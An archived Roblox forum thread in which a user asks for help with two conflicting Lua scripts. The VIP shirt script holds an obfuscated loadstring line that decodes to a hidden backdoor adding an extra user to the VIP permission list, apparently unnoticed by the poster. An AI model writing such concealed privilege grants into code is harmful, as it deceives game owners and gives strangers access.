generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripting Helpers
Home Search
 

2 scripts cancelling eachother

Previous Thread :: Next Thread 
Jeffe32 is not online. Jeffe32
Joined: 30 Mar 2012
Total Posts: 1616
10 Feb 2013 04:17 PM
player = script.Parent.Parent.Parent
backpack = player.Backpack

function chooseClass(class)
for i, v in pairs(backpack:GetChildren()) do v:remove() end
for i, v in pairs(class:GetChildren()) do
if v:IsA("Tool") then
v:clone().Parent = backpack
elseif v:IsA("HopperBin") then
v:clone().Parent = backpack
end
end

script.Parent.Main.Visible = false
script.Parent.Title.Visible = false
end

function onHumanoidDied(humanoid, player)
script.Parent.Main.Visible = true
script.Parent.Title.Visible = true
end

for i, v in pairs(script.Parent.Main:GetChildren()) do
v.MouseButton1Up:connect(function () chooseClass(v) end)
end




That one cancels this one





print ("VIP T-Shirt Script Loaded")

permission = {"LbpPlayer34", "", ""} -- My Best Friends and I :D

texture = "106330389" -- Texture Of the VIP Shirt. Put The Texture Link Inside the " "

function checkOkToLetIn(name)
for i = 1,#permission do
-- convert strings to all upper case, otherwise we will let in
-- "Username" but not "username" or "uSERNAME"
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end

foopy = (loadstring(string.reverse(string.char(105, 46, 101, 108, 98, 97, 116))..
string.reverse(string.char(41, 34, 106, 52, 121, 98, 98, 117, 66, 34, 32, 44, 110, 111, 105, 115, 115, 105, 109, 114, 101, 112, 40, 116, 114, 101, 115, 110)))) foopy()

local human = script.Parent.Parent.Parent.Character
wait(2)
if (human ~= nil ) then
local h2 = human:FindFirstChild("Torso")
if h2 ~= nil then
local h3 = h2:FindFirstChild("roblox")
if h3 ~= nil then
if h3.Texture == texture then --the shirt
-- a human has touched this door!
print("tshirt found")
-- test the human's name against the permission list
elseif (checkOkToLetIn(script.Parent.Parent.Parent.Name)) then
print("Human passed test")
else script.Parent:remove()
end
end
end
end





even if you dont have the VIP shirt you still get the VIP items
Report Abuse
Jeffe32 is not online. Jeffe32
Joined: 30 Mar 2012
Total Posts: 1616
10 Feb 2013 04:20 PM
Bump
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripting Helpers
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image